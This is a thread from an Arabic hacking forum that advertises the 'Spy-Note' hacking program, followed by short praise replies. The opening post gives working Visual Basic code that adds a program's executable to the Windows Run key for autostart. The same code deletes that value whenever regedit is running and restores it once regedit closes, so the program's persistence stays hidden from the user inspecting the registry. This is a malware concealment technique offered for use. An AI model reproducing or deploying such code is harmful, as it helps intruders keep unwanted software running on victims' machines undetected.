1. أهلا وسهلاً بكم في :: IQ-TeaM FORUM :: .
    إذا كانت هذه الزيارة الأولى أو لديك الرغبة بالانضمام لأعضاء شبكة عراق تيم فيجب الاطلاع على خصوصية الشبكه فربما بقائك زائر افضل لك من الانضمام بحيث أن قوانين شبكة عراق تيم لا تتناسب مع اهتماماتك .
    • للأطلاع على الخصوصية وسياسة الاستخدام - التفاصيل
    • بعد الاطلاع على سياسة الموقع وقوانين شبكة عراق تيم يمكنك التسجيل معنا - تسجيل عضو جديد
    إستبعاد الملاحظة
  2. الملاحظات
    عزيزي زائر تم اطلاق الموقع الرسمي لبرنامج الاختراق Spy-Note
    إستبعاد الملاحظة
حالة الموضوع:
مغلق
  1. !»°بہًكہًر الہًعہًراقہًي°«! مراقب أقسام حماية الاجهزة
    طاقم الإدارة

    عضو منذ:
    ‏7 فبراير 2015
    عدد المشاركات:
    659
    الإعجابات المتلقاة:
    1,455
    نقاط الجائزة:
    515
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:
    العراق\واسط
    نظام التشغيل:
    windows 8.1
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:

    السلام عليكم ورحمه الله وبركاته
    كيف الحال اعضاء وزوار ومشرفين عرق تيم
    عسا ان كونوا بافضل حال
    لا احب المقدمات ندخل في المهم

    درس اليوم اخفاء قيمه الرجستر
    اتركم مع الاكواد


    كود:
    Public Enum HKEY
            ClassesRoot
            CurrentUser
            LocalMachine
            Users
            CurrentConfig
        End Enum
    
        Public Shared Sub HideValueFromRegistry(ByVal HKEY As HKEY, ByVal SubKey As String, ByVal Name As String, ByVal KeyValue As String)
            Dim List As New List(Of String)
            For Each Proc As Process In Process.GetProcesses
                List.Add(Proc.ProcessName)
            Next
            If List.Contains("regedit") Then
                Select Case HKEY
                    Case HKEY.ClassesRoot
                        Dim Key As RegistryKey = Registry.ClassesRoot.OpenSubKey(SubKey)
                        If Key.GetValue(Name) IsNot Nothing Then
                            My.Computer.Registry.ClassesRoot.OpenSubKey(SubKey, True).DeleteValue(Name)
                        End If
                    Case HKEY.CurrentUser
                        Dim Key As RegistryKey = Registry.CurrentUser.OpenSubKey(SubKey)
                        If Key.GetValue(Name) IsNot Nothing Then
                            My.Computer.Registry.CurrentUser.OpenSubKey(SubKey, True).DeleteValue(Name)
                        End If
                    Case HKEY.LocalMachine
                        Dim Key As RegistryKey = Registry.LocalMachine.OpenSubKey(SubKey)
                        If Key.GetValue(Name) IsNot Nothing Then
                            My.Computer.Registry.LocalMachine.OpenSubKey(SubKey, True).DeleteValue(Name)
                        End If
                    Case HKEY.Users
                        Dim Key As RegistryKey = Registry.Users.OpenSubKey(SubKey)
                        If Key.GetValue(Name) IsNot Nothing Then
                            My.Computer.Registry.Users.OpenSubKey(SubKey, True).DeleteValue(Name)
                        End If
                    Case HKEY.CurrentConfig
                        Dim Key As RegistryKey = Registry.CurrentConfig.OpenSubKey(SubKey)
                        If Key.GetValue(Name) IsNot Nothing Then
                            My.Computer.Registry.CurrentConfig.OpenSubKey(SubKey, True).DeleteValue(Name)
                        End If
                End Select
            Else
                Select Case HKEY
                    Case HKEY.ClassesRoot
                        Dim Key As RegistryKey = Registry.ClassesRoot.OpenSubKey(SubKey)
                        If Key.GetValue(Name) Is Nothing Then
                            My.Computer.Registry.ClassesRoot.OpenSubKey(SubKey, True).SetValue(Name, KeyValue)
                        End If
                    Case HKEY.CurrentUser
                        Dim Key As RegistryKey = Registry.CurrentUser.OpenSubKey(SubKey)
                        If Key.GetValue(Name) Is Nothing Then
                            My.Computer.Registry.CurrentUser.OpenSubKey(SubKey, True).SetValue(Name, KeyValue)
                        End If
                    Case HKEY.LocalMachine
                        Dim Key As RegistryKey = Registry.LocalMachine.OpenSubKey(SubKey)
                        If Key.GetValue(Name) Is Nothing Then
                            My.Computer.Registry.LocalMachine.OpenSubKey(SubKey, True).SetValue(Name, KeyValue)
                        End If
                    Case HKEY.Users
                        Dim Key As RegistryKey = Registry.Users.OpenSubKey(SubKey)
                        If Key.GetValue(Name) Is Nothing Then
                            My.Computer.Registry.Users.OpenSubKey(SubKey, True).SetValue(Name, KeyValue)
                        End If
                    Case HKEY.CurrentConfig
                        Dim Key As RegistryKey = Registry.CurrentConfig.OpenSubKey(SubKey)
                        If Key.GetValue(Name) Is Nothing Then
                            My.Computer.Registry.CurrentConfig.OpenSubKey(SubKey, True).SetValue(Name, KeyValue)
                     End If
                End Select
            End If
        End Sub
    
    الاستخدام
    كود:
     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
    HideValueFromRegistry(HKEY.CurrentUser, "Software\Microsoft\Windows\CurrentVersion\Run", Me.Text, Application.ExecutablePath)
    End Sub 
    الي هنا انتهى الدرس ارجو ان يكون نال اعجابكم

    اهداء
    الئ
    امير ايكل
    المعاقب الصدري
    علي الصقور
    مخلد هكسور
    محمد العراقي

    ار[FONT]
     
    جاري تحميل الصفحة...
  2. حازم مشكله
    V • I • P

    عضو منذ:
    ‏26 مارس 2015
    عدد المشاركات:
    392
    الإعجابات المتلقاة:
    28
    نقاط الجائزة:
    50
    الجنس:
    ذكر
    نظام التشغيل:
    windows 7
    حسابي في الزون اتش Zone-H:
    اللغة البرمجية:
    Perl
    Facebook:
    YouTube:
    رد: الصاروخ الثاني يهبط على ارض الابداع اخفاء قيمه الرجستري

    حلؤؤ عاشت ايدك
     
    أعجب بهذه المشاركة !»°بہًكہًر الہًعہًراقہًي°«!
  3. !»°بہًكہًر الہًعہًراقہًي°«! مراقب أقسام حماية الاجهزة
    طاقم الإدارة

    عضو منذ:
    ‏7 فبراير 2015
    عدد المشاركات:
    659
    الإعجابات المتلقاة:
    1,455
    نقاط الجائزة:
    515
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:
    العراق\واسط
    نظام التشغيل:
    windows 8.1
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:
    رد: الصاروخ الثاني يهبط على ارض الابداع اخفاء قيمه الرجستري

    حبيب قلبي حازم منو الموضوع
     
  4. وائل الاسدي
    rank
    Developer

    عضو منذ:
    ‏23 فبراير 2015
    عدد المشاركات:
    44
    الإعجابات المتلقاة:
    5
    نقاط الجائزة:
    30
    الجنس:
    ذكر
    الوظيفة:
    موظف في وزارة الداخلية
    الإقامة:
    IRAQ
    نظام التشغيل:
    Linux
    اللغة البرمجية:
    Delphi
    Facebook:
    YouTube:
    رد: الصاروخ الثاني يهبط على ارض الابداع اخفاء قيمه الرجستري

    عاشت ايدك استمر:!."​
     
    أعجب بهذه المشاركة !»°بہًكہًر الہًعہًراقہًي°«!
  5. حازم مشكله
    V • I • P

    عضو منذ:
    ‏26 مارس 2015
    عدد المشاركات:
    392
    الإعجابات المتلقاة:
    28
    نقاط الجائزة:
    50
    الجنس:
    ذكر
    نظام التشغيل:
    windows 7
    حسابي في الزون اتش Zone-H:
    اللغة البرمجية:
    Perl
    Facebook:
    YouTube:
    رد: الصاروخ الثاني يهبط على ارض الابداع اخفاء قيمه الرجستري

    نورك حبي
     
    أعجب بهذه المشاركة !»°بہًكہًر الہًعہًراقہًي°«!
  6. !»°بہًكہًر الہًعہًراقہًي°«! مراقب أقسام حماية الاجهزة
    طاقم الإدارة

    عضو منذ:
    ‏7 فبراير 2015
    عدد المشاركات:
    659
    الإعجابات المتلقاة:
    1,455
    نقاط الجائزة:
    515
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:
    العراق\واسط
    نظام التشغيل:
    windows 8.1
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:
    وايدك خويه
     
  7. عہلي الصہقہور هنہا أنا الله وأنا ليه راجعون
    V • I • P

    عضو منذ:
    ‏29 نوفمبر 2014
    عدد المشاركات:
    281
    الإعجابات المتلقاة:
    7
    نقاط الجائزة:
    50
    الإقامة:
    ألعراق ألعظيم
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Perl
    رد: الصاروخ الثاني يهبط على ارض الابداع اخفاء قيمه الرجستري

    وعليكم السلام ورحمة الله وبركاتة حبيبي بكر
    عاشت ايدك مبدع وربي استمر ولاتحرمنا من ابداعك


    وشكرا على الاهداء حياتي بكر
     
  8. rebih
    Developer

    عضو منذ:
    ‏11 مايو 2014
    عدد المشاركات:
    91
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    30
    نظام التشغيل:
    windows xp
    حسابي في الزون اتش Zone-H:
    اللغة البرمجية:
    Perl
    Facebook:
    YouTube:
    رد: الصاروخ الثاني يهبط على ارض الابداع اخفاء قيمه الرجستري

    مشكوور واصل بدون فواصل
     
    أعجب بهذه المشاركة !»°بہًكہًر الہًعہًراقہًي°«!
  9. !»°بہًكہًر الہًعہًراقہًي°«! مراقب أقسام حماية الاجهزة
    طاقم الإدارة

    عضو منذ:
    ‏7 فبراير 2015
    عدد المشاركات:
    659
    الإعجابات المتلقاة:
    1,455
    نقاط الجائزة:
    515
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:
    العراق\واسط
    نظام التشغيل:
    windows 8.1
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:
    رد: الصاروخ الثاني يهبط على ارض الابداع اخفاء قيمه الرجستري

    منور الموضوع. كبدي
     
  10. سكيورتي ارهابي
    ExpErt DeveloPer

    عضو منذ:
    ‏1 سبتمبر 2014
    عدد المشاركات:
    681
    الإعجابات المتلقاة:
    53
    نقاط الجائزة:
    435
    الوظيفة:
    ماكسي مول
    الإقامة:
    دوله العراق العظيم
    نظام التشغيل:
    Linux
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:
    رد: الصاروخ الثاني يهبط على ارض الابداع اخفاء قيمه الرجستري

    وعليكم السلام مبدع حبيبي :ُeُe0y:
     
    أعجب بهذه المشاركة !»°بہًكہًر الہًعہًراقہًي°«!
حالة الموضوع:
مغلق

مشاركة هذه الصفحة

جاري تحميل الصفحة...